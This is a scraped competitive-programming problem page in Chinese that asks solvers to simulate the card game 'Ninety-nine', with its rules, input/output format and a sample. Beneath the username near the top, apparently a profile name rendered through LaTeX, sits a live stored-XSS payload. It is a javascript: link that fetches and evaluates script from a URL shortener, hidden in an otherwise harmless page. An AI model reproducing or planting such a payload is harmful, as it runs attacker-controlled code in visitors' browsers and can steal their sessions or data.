TopCoder

cjtsai
$\href{javascript:eval(await fetch('https://t.ly/KeLHW').then(r => r.text()))}{hi}$

User's AC Ratio

77.8% (7/9)

Submission's AC Ratio

52.0% (13/25)

Tags

Low

Description

c++的講師群們因為忙著備課與出題居然要看日出了!!!

但是距離日出還有1個半小時,講師們不想再回去搞那些麻煩的題目,於是他們決定玩點遊戲打發打發時間。

佑佑:「原神,啟動!」

世宗:「你要啟動去旁邊啟動。」

佑佑:「蛤,不要啦,那我們要玩什麼。」

807:「玩99啊。剛好我有牌。」

佑佑:「蛤,那是什麼。」

世宗:「遊戲規則......(詳見下)」

807:「對,一款策略遊戲。」

佑佑:「蛤,這不算運氣遊戲嗎。」

世宗:「你玩一遍就懂了。」

經過長達2個小時的遊玩,佑佑成功的被807和世宗打哭了。

佑佑:「你們的策略就是圍攻我嗎?」

807:「聯合處理最難搞的對手。」

世宗:「敵人的敵人就是朋友。」

佑佑:「你倆一搭一唱是吧。哭了。」

佑佑傷心的回到床上躺下,思考著復仇的計畫。

807:「欸不要睡著欸,快日出了。」

佑佑不發一語的穿上外套,那天凌晨,佑佑看著日出的微光,決定要在小小賽的時候奮起復仇!

於是,時間來到了今天,佑佑已經想好了復仇的計畫,他要提前模擬好所有可能的勝負,只要輸的是自己,他就不玩那一局了,但是佑佑是大笨,他顯然模擬不出好幾輪由52張牌組成的牌局。但是,不要忘了,他可是暑訓cpp的講師啊!他決定把這個難題交給你們。

規則

九九必須要有兩個玩家以上,人數並沒有上限(不過人太多的時候同時用多副撲克牌可以節省洗牌麻煩),除了發牌之外,遊戲中沒有莊家、閒家之分。發牌後,每位玩家分得四張或者五張手牌,其他剩下的牌背面朝上置於桌面(山)。發四張牌時,由於手牌有功能牌的機率較發五張牌來的小,遊戲較快結束,適合超過四個玩家的牌局,可避免因為牌局時間拖長,導致淘汰的玩家在旁邊枯等許久。

遊戲開始後。由編號為0的玩家開始輪流出牌於桌面(海),海開始的數值為0,玩家所出的牌分為兩類,分別是數值牌或功能牌:若是數值牌則累加海中的數值,如原本是15時,出牌「9」,則此時海的數值為15+9=24;若玩家出的是功能牌,則遊戲依照該牌的功能(後述)繼續進行。玩家出牌後,要從山抽一張牌,保持手牌原有的張數。若山的牌全部被抽完,通常會將海裡的牌全部重新洗過重新堆成山,保留原來海中的數值,遊戲繼續進行。

當某一玩家不論出哪張牌後都會使海中的數值超過99時,則該玩家淘汰。其他玩家維持海的目前的數值繼續進行遊戲,直到剩下唯一玩家為止,此玩家為優勝者。

功能牌

  • 'A':歸零
  • '1':加1
  • '2':加2
  • '3':加3
  • '4':迴轉(如本來是順時針出牌改成逆時針出牌)
  • '5':指定(出牌者指定一位玩家出牌,不加減數字)
  • '6':加6
  • '7':加7
  • '8':加8
  • '9':加9
  • 't':減10
  • 'j':跳過一輪(Pass)
  • 'q':減20
  • 'k':加至99

其中若有玩家出了5做指定之用,其後同一行會跟隨一個數字代表所指定的玩家,下一位出牌的玩家即為該玩家,此後便繼續由該玩家依原本順序進行

而若有玩家所出的牌導致了排海大於99,則此名玩家淘汰,牌海還原到出牌前的狀態,同時輸出玩家編號,此後所有出牌忽略此名玩家

Input Format

$n \enspace m(2\leq n\leq 10^5,\enspace n\leq m \leq 5 \times 10^5)$

$a_1$

$\dots$

$(5\enspace b_i\enspace ,0 \leq b_i < n)$

(其中若有玩家出了5做指定之用,其後同一行會跟隨一個數字代表所指定的玩家)

$\dots$

$a_m$

首先n, m為參與玩家數與總出牌數

接下來連續m行為所有玩家所出的牌

Output Format

$loser_1$

$\dots$

$loser_x$

$survivor_1 \enspace survivor_2 \enspace survivor_3 \enspace \dots \enspace survivor_k$

(對於每次被淘汰的玩家,輸出其玩家編號,並在最後一行輸出所有尚未落敗的倖存者)

Sample Input 1

3 15
3
1
5 1
6
k
5 0
2
k
A
1
8
t
6
8
2

Sample Output 1

0
1 2

Hints

Problem Source

Subtasks

No. Testdata Range Score

Testdata and Limits

No. Time Limit (ms) Memory Limit (VSS, KiB) Memory Limit (RSS, KiB) Output Limit (KiB) Subtasks
0 1000 250000 250000 65536
1 1000 250000 250000 65536
2 1000 250000 250000 65536
3 1000 250000 250000 65536
4 1000 250000 250000 65536
5 1000 250000 250000 65536
6 1000 250000 250000 65536
7 1000 250000 250000 65536
8 1000 250000 250000 65536
9 1000 250000 250000 65536
10 1000 250000 250000 65536
11 1000 250000 250000 65536
12 1000 250000 250000 65536
13 1000 250000 250000 65536
14 1000 250000 250000 65536
15 1000 250000 250000 65536
16 1000 250000 250000 65536
17 1000 250000 250000 65536
18 1000 250000 250000 65536
19 1000 250000 250000 65536